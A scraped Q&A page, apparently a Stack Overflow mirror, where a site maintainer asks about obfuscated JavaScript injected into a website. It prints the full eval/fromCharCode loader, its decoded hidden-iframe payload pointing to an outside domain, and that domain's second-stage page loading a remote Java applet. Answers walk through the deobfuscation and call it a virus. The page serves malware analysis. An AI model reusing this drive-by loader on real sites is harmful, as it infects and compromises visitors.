Logo Questions Linux Laravel Mysql Ubuntu Git Menu
HTML CSS JAVASCRIPT SQL PYTHON PHP BOOTSTRAP JAVA JQUERY R React Kotlin
 

What is the purpose of this JavaScript hack?

Tags:

javascript

security

xss

This code has been popping up accross a website I've been maintaining, any clue on what's happening here?

if (window.document) aa = [] + 0;
aaa = 0 + [];
if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a");
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}
q = ss;
if (f) e(q);

edit alerting q results in this code

if (document.getElementsByTagName('body')[0]) {
            iframer();
        } else {
            document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
        }
        function iframer() {
            var f = document.createElement('iframe');
            f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
            f.style.visibility = 'hidden';
            f.style.position = 'absolute';
            f.style.left = '0';
            f.style.top = '0';
            f.setAttribute('width', '10');
            f.setAttribute('height', '10');
            document.getElementsByTagName('body')[0].appendChild(f);
        }

From http://update-kb18628311.com/check.php?date=08eaceaccc546a53

<html>

    <body>
        <applet code='&#80;hoto.class' archive='http://update-kb18628311.com/content&#47;jav2.jar'>
            <param name="p" value="v&#115;sMlgghMA7s6af.dB=3B%ddPJFUgYPMvM-Vc/oAd/G6cr"
            />
        </applet>
        <div style="color:red;">
            <p style="display:none;">ti#y/SNIP/#ti#ye#uw#to#tu#ur#w#qr#y#y#y#-q#qu#ie#ue#up#yy#y#-w#-q#qu</p>
        </div>
        <script>
            ss = 's';
            g = 'g';
            r = 'r';
            d = 'd';
            c = 'c';
            t = 't';
            try {
                new window(123).typ;
            } catch (qq) {
                aa = /s/g.exec("a" + "sd").index + [];
                e = window.eval;
                cc = document;
            }
            aaa = 1 + [];
            i = 0;
            try {
                new btoa({});
            } catch (qqq) {
                if (aaa == aa) for (;;) {
                    a = cc.body[c + 'h' + 'ildNodes'][i];
                    if (a[t + "agName"].toLowerCase() == "div") break;
                    i++;
                }
                try {
                    new btoa(12);
                } catch (qqq) {
                    r += "eplace";
                }
                a = a[c + 'hildNodes'][0].innerHTML;
                a = a[r](/q/g, "1");
                a = a[r](/w/g, "2");
                a = a[r](/e/g, "3");
                a = a[r](/r/g, "4");
                a = a[r](/t/g, "5");
                a = a[r](/y/g, "6");
                a = a[r](/u/g, "7");
                a = a[r](/i/g, "8");
                a = a[r](/o/g, "9");
                a = a[r](/p/g, "0");
            }
            a = a.split("#");
            md = 'a';
            c = [];
            i = 0;
            p = parseInt;
            try {
                new window(123).typ;
            } catch (qqq) {
                qq = String;
            }
            try {
                new btoa(12);
            } catch (qqq) {
                fr = "ode";
            }
            try {
                new window(123).typ;
            } catch (qqq) {
                qq2 = e("qq.fromCharC" + fr);
            }
            if (aaa == aa) {
                while (13153 > i) {
                    vv = a[i];
                    r2 = cc = qq2(40 + 2 + 1 * vv);
                    r = c;
                    if (fr) c = r + r2;
                    i = i + 1;
                }
                w = e;
                w(c);
            }
        </script>
    </body>

</html>
like image 239
Moak Avatar asked Feb 28 '12 08:02

Moak

People also ask

What is the purpose of JavaScript?

Javascript is used by programmers across the world to create dynamic and interactive web content like applications and browsers. JavaScript is so popular that it's the most used programming language in the world, used as a client-side programming language by 97.0% of all websites.

Is JavaScript used to hack?

Web Hacking: Currently, JavaScript is one of the best programming languages for hacking web applications. Understanding JavaScript allows hackers to discover vulnerabilities and carry web exploitation since most of the applications on the web use JavaScript or its libraries.

What is JavaScript used for hack reactor?

JavaScript allows users to interact with web pages. There are almost no limits to the things you can do with JavaScript on a web page – these are just a few examples: Show or hide more information with the click of a button. Change the color of a button when the mouse hovers over it.

Can JavaScript be used to make apps?

Can we use JavaScript for Android? Yes, of course! The Android ecosystem supports the concept of hybrid apps, which is a wrapper over the native platform. It mimics the UI, UX, and all kinds of hardware and network interactions, just like how you would use a native Android app.

2 Answers

It injects the following iframe:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It's not very complicated, let's go through it (you can verify this all yourself in the console easily):

if (window.document) aa = [] + 0;
aaa = 0 + [];

If we check the console: aa === "0" and aaa === "0" so the next if evaluates to true:

if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}

All that's done here is we've shortcutted the eval function for later use, and built a string f === "fromCharCode" that we'll use to call String.fromCharCode to convert the ascii code into actual javascript commands in a moment.

h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "..." // ascii based code
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}

In the loop we simply build the string as mentioned. The trig stuff is just to confuse I suppose, although it isn't very confusing.

q = ss;
if (f) e(q);

And finally the if(f) will evaluate to true since f is a nonempty string and so we call e which is the eval shortcut we made earlier, with the string we built from the code. The resulting code I pasted at the top.

like image 58
davin Avatar answered Sep 21 '22 13:09

davin

this is what the code evaluates to :

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It looks like a virus

So the site you are maintaining is probably vulnerable at some point. someone injected this code into the site; either through XSS and/or SQL Injection

like image 7
epoch Avatar answered Sep 24 '22 13:09

epoch
Sign in to Comment

Related questions

In JavaScript, does an empty regex pattern have defined behavior?
How can I detect when jQuery Validation is done, and call something based on that event?
Differences between types of Javascript function declarations
Possible to hide zero-height bars in a bar chart?
Is there any reason to use Object.create() or new in JavaScript?
JavaScript or jQuery equivalent of PHP's strstr() function
javascript: what does /*@ @*/ mean?
How to give focus() after an alert()?
Backbone refresh view events
How to get a javascript function to execute only once on dom ready
Using mustache templates with knockout.js
How to filter a Multi-dimension JSON object with jQuery.grep()
Is there a command to move the whole SVG path to a new position?
Override Backbone.sync but save its previous functionality
Making JSON responses even smaller... just an idea
Safari iPad 1: how to disable zoom/centering on double-tap, but keep pinch zoom
How to pass the reference 'this' to a javascript function from an <a> tag
Update graph from json data
How do I select a span containing an exact text value, using jquery? [duplicate]
How can I "dim" the rest of the web page when displaying a notification DIV?

Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!